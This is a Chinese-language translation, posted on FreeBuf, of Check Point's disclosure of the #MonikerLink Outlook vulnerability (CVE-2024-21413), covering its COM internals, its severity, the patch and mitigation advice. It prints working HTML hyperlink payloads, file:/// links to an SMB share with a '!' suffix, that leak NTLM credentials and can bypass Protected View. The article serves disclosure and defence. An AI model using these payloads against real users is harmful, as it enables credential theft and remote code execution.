freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

微软Outlook中#MonikerLink漏洞的风险和大局观
晶颜123 2024-02-22 15:27:54 244744

近日,Check Point Research发布了一份名为《明显的、一般的和高级的:Outlook攻击向量的综合分析》(The Obvious, The Normal and The Advanced: a Comprehensive Analysis of Outlook Attack Vectors)的白皮书,详细介绍了Outlook上的各种攻击向量,以帮助业界了解流行的Outlook应用程序可能给组织带来的安全风险。

正如文中提到的,研究人员发现Outlook在处理特定超链接时存在一个有趣的安全问题。在这篇博文中,Check Point研究人员将与安全社区分享其对这个问题的研究,并提供了安全防御建议。同时,研究人员还将强调此错误在其他软件中的广泛影响。

Outlook上的超链接行为

正如《明显的、一般的和高级的:Outlook攻击向量的综合分析》第一节所讨论的那样,如果超链接以“http://”或“https://”开头,Outlook会很高兴地启动(默认的)Windows浏览器并打开web URL。这是每个Outlook用户都知道的一个非常明显的行为。

有人可能想知道除http/https之外的其他协议表现如何?为此,研究人员特地做了测试。结果显示,如果链接字符串以一个典型的应用程序URL协议开头,并且Outlook认为该URL协议可能存在一些安全问题,例如,“Skype”URL协议,如下所示(在HTML电子邮件中):

*<a href="skype:SkypeName?call">Call me on Skype</a>*

那么,当单击该链接时,就会弹出一个警告对话框,警告我们打开该链接可能不安全。

1708586599_65d6f6671f6f7ea476d22.png!small?1708586598398

【图1:当用户单击第三方URL协议超链接时,Outlook会发出警告】

现在,目光转向常见的“file://”协议。研究人员首先使用下述协议进行测试,使用该协议指向远程Word文件(如果想要重现测试,请将IP地址替换为您自己的IP地址)。

*<a href=”file:///\\10.10.111.111\test\test.rtf”>CLICK ME</a>*

结果显示,当点击超链接时,并非出现像之前的“Skype”URL协议那样的警告对话框。但是,在Windows通知中心中有向用户显示错误消息。并且远程“test.rtf”文件确实没有被访问。Windows通知中心区域中的错误信息如下所示:

1708586609_65d6f671081bc38aff454.png!small?1708586608247

【图2:当用户单击指向远程文件的典型超链接时,Outlook显示一条错误消息】

这是合理的,且有利于安全。如果Outlook允许用户访问远程文件,那么至少会泄露本地NTLM凭据信息,因为访问远程资源将通过SMB协议,而SMB协议将使用本地凭据进行身份验证。

#MonikerLink漏洞

但是,如果对上面的链接进行一个轻微的修改,例如修改为如下形式:

*<a href="file:///\\10.10.111.111\test\test.rtf!something">CLICK ME</a>*

注意,研究人员在“test.rtf”的末尾添加了一个“!”,还添加了一些随机字符“something”。

这样的链接将绕过前面讨论的现有Outlook安全限制,并且当用户单击该链接时,Outlook将继续访问远程资源“\\10.10.111.111\test\test.rtf”。

这里的关键是特殊的感叹号“!”,这将改变Outlook的行为。

漏洞影响

1. 泄露本地NTLM凭据信息

很容易观察到,访问远程“test.rtf”的尝试将使用SMB协议(端口445),并且在此过程中会泄漏本地NTLM凭据信息。这与许多其他NTLM凭据泄露技巧的过程相同。

1708586621_65d6f67d1c6ab6f72f776.png!small?1708586620360

【图3:#MonikerLink作为漏洞被利用时泄露的NTLM凭据信息】

2. 从新的攻击向量到任意代码执行

除了泄露本地NTLM凭据信息外,该漏洞还能做到更多吗?这也是研究人员花了很多时间研究的更深层次的问题。从本质上讲,我们需要弄清楚当用户点击像“file:///\\10.10.111.111\test\test.rtf!something”这样的链接时到底发生了什么。

事实上,根据深入分析显示,Outlook将该链接视为“Moniker Link”。Monikers是Windows上组件对象模型(COM)的关键概念之一。“Moniker Link”字符串意味着调用者将使用该字符串“查找”COM对象。

从技术上讲,Outlook调用“ole32!MkParseDisplayName()”API来完成这项工作——解析Moniker Link字符串并使用它来“查找”COM对象。在调试Outlook时,我们可以通过在Windbg的API上设置一个简单的断点(breakpoint)来确认这一点。只要用户点击链接,断点就会被触发。

1708586712_65d6f6d8c0faea29eb80d.png!small?1708586712588

根据微软的API文档显示,API“MkParseDisplayName()”的第二个参数“szUserName”是要解析的“显示名”。我们来验证一下。

0:000> du poi(esp+4*2)

1a168620 "\\10.10.111.111\test\test.rtf!something"

可以看到,这里URL协议前缀“file:///”被删除了。

此外,正如API文档中所解释的,当它涉及“!”,这意味着这是一个复合名字:一个基于“\\10.10.111.111\test\test.rtf”的FileMoniker,和一个基于“something”的ItemMoniker。

因此,测试过程确认了Outlook调用API - MkParseDisplayName()来查找Moniker Link字符串指向的COM对象的过程。

组件对象模型(COM)相当复杂;它涉及很多概念。但是简单地说,对于这个场景,调用者(这里是指Outlook应用程序)只调用COM助手API(这里是“MkParseDisplayName()”)来完成这项工作。它实际上取决于目标应用程序(“COM服务器”)如何以及为COM对象返回什么。COM服务器实现并向调用者或包装器API公开某些COM接口。这个过程本质上类似于从您的应用程序运行一个外部应用程序(但是COM要复杂得多)。因此,它可能会导致各种安全问题。

对于上面的例子——FileMoniker + ItemMoniker的复合名字,因为扩展名是“.rtf”,它调用/runs Microsoft Word来“查找”由Moniker Link指向的COM对象。Word是一个设计良好的基于COM的应用程序。这个过程基本上如下所示。

  1. Windows将Microsoft Word作为COM服务器在后台运行(不显示正常的Word UI)。
  2. 在后台,Word基于字符串“\\10.10.111.111\test\test.rtf”打开并解析file moniker所指向的文件“rtf”。之后,它基于字符串“something”尝试查找由item moniker指向的对象。

这就是问题所在,Word打开并解析“test.rtf”文件——该文件位于攻击者控制的服务器上,由攻击者控制。如果在Word解析test.rtf文件的过程中出现错误(比如代码执行错误),该怎么办?

对于这一问题,研究人员已经成功地使用了.rtf 概念验证代码(PoC)并复制了攻击(见下图),结果显示,它在“WINWORD.EXE”进程中崩溃。

1708586720_65d6f6e02136ea7305d79.png!small?1708586720313


【图4:当#MoinkerLink被用作攻击向量时,可能的远程代码执行演示】

我们还可以看到后台Word进程作为COM服务器启动,如上图突出显示的函数名所示。

更严重的是,整个过程不涉及保护视图模式——后台Word进程以中等完整性级别运行。所以,这个攻击向量甚至绕过了Protected View。这将使攻击者更容易在受害者的机器上获得代码执行。

需要再次强调的是,Word(RTF PoC)在这里只是一个例子。由于COM的性质,它实际上取决于被利用的应用程序(COM服务器)以及该应用程序的安全性。我们在此讨论的“Moniker Link”问题是一种攻击向量,它为未来利用许多应用程序“敞开了大门”。有些应用程序甚至可能不是Windows上默认安装的应用程序,用户可能会不时安装这些应用程序。因此,这个攻击向量打开了一个相当大的攻击面。

有趣的是,甚至有一个微软文档公开表示,使用MkParseDisplayName()或MkParseDisplayNameEx()来解析攻击者控制的输入是不安全的。

1708586724_65d6f6e4f274ff6d33cc0.png!small?1708586724354


【图5:微软警告在微软文档中使用MkParseDisplayName/MkParseDisplayNameEx API的风险】

与其他Outlook攻击向量严重性比较

现在,我们了解了整个过程和问题。一些读者可能会怀疑这是否是一个真正的问题?将其与Outlook上的其他攻击向量进行比较会如何?这是个好问题。

Outlook攻击向量的完整概述已经很好地解答了这个问题。正如研究人员在报告中研究和定义的那样,单次点击的得分为1.0,比如单次点击一个超链接。

让我们假设攻击者利用Microsoft Word在没有受保护视图的情况下工作(因为这是最常见的情况)。如果该漏洞利用是作为附件发送的,攻击者需要受害者在附件上执行一次“双击”。然而,这并不是总数,因为从外部电子邮件地址发送的附件会激活Word上的Protected View,这将阻止攻击者的漏洞利用,因为当Protected View被激活时,漏洞利用不起作用。这意味着攻击者需要欺骗受害者执行另一次“单击”以退出Word保护视图模式,以便他/她的漏洞可以运行。

所以,总的来说,整个攻击链只需要一次“双击”和一次“单击”。用户互操作性的得分为1.2 + 1 = 2.2。

如果攻击者使用“Moniker Link”攻击向量提供漏洞利用,则只需“单击”一次(单击链接),并且还可以绕过Protected View。所以,总分只有1.0。它比传统的2.2分数好得多(分数越低,对攻击者越有利,对用户越不利)。

因此,现在我们可以清楚地理解,攻击者使用“Moniker Link”攻击向量提供Word漏洞利用更方便,同时这也意味着对用户安全更不利。

(*注意:对“Moniker Link”攻击向量有更多的要求,比如利用需要与Word COM-server模式一起工作,受害者的网络需要允许外部攻击者的出站SMB流量)

防御和缓解

研究人员已经在最新的Windows 10/11 + Microsoft 365(Office 2021)环境中验证了这个#MonikerLink漏洞/攻击向量。其他Office版本也可能受到影响。事实上,研究人员认为这可能是一个被忽视的问题,在Windows/COM生态系统中存在了几十年,因为它位于COM API的核心。

目前,Checkpoint研究人员已经向微软安全响应中心(MSRC)报告了这个问题,微软方面也已在2024年2月的补丁星期二(CVE-2024-21413)发布了一个重要的Outlook安全更新,CVSS得分为9.8。再次,我们强烈建议所有Outlook用户尽快应用官方补丁。

大局观

本质上,这个#MonikerLink漏洞(或攻击向量)是通过使用不安全的API (MkParseDisplayName/MkParseDisplayNameEx)引入的安全风险。因此,这个安全问题很可能不仅存在于Microsoft Outlook中,也可能存在于以不安全的方式使用API的其他软件中并影响它们。研究人员只是碰巧在Outlook中发现了这个问题。

因此,在此呼吁安全和开发人员社区也在其他软件中找到并修复此类错误(攻击向量),因为现实世界中存在太多的软件。执行这个测试相当容易。如果您是QA或安全工程师,您可以将“file:///\\ip\test\test.rtf!”格式的超链接放到目标软件将要处理的输入的某个地方,并监控目标软件在处理输入时的行为。如果您是开发人员,请注意MkParseDisplayName/MkParseDisplayNameEx Windows API(以及一些Wrapper API)的用法。

它有点像影响Java生态系统的#log4j错误,但这个#MonikerLink错误/攻击向量影响的是Windows/COM生态系统。

结论

在这篇博文中,我们披露了Outlook中的一个重大安全问题,被称为#MonikerLink漏洞。该漏洞不仅允许泄漏本地NTLM信息,还可能允许远程代码执行以及更多攻击向量。当它被用作攻击向量来攻击其他Office应用程序时,它也可以绕过Office Protected View。我们还将此攻击向量与之前发布的Outlook报告中讨论的其他攻击向量进行了比较,发现此问题的风险不容忽视。我们强烈建议相关用户和读者采取适当的行动,来保护他们的组织免受可能导致的潜在安全风险。

通过深入研究,我们还发现这个#MonikerLink漏洞/攻击向量很可能不仅存在于Microsoft Outlook中,也可能存在于并影响其他软件。为此,我们建议安全和开发人员社区发现并修复此类漏洞。


原文链接:

https://research.checkpoint.com/2024/the-risks-of-the-monikerlink-bug-in-microsoft-outlook-and-the-big-picture/


# Outlook安全
本文为 晶颜123 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
晶颜123 LV.6
HAHAHA
  • 220 文章数
  • 96 关注者
BlackByte利用“旧战术”+“新漏洞”助力新一轮攻击
2024-09-02
两个影响WPS Office的任意代码执行漏洞分析
2024-09-02
2024年第二季度漏洞利用和漏洞现状
2024-08-28
文章目录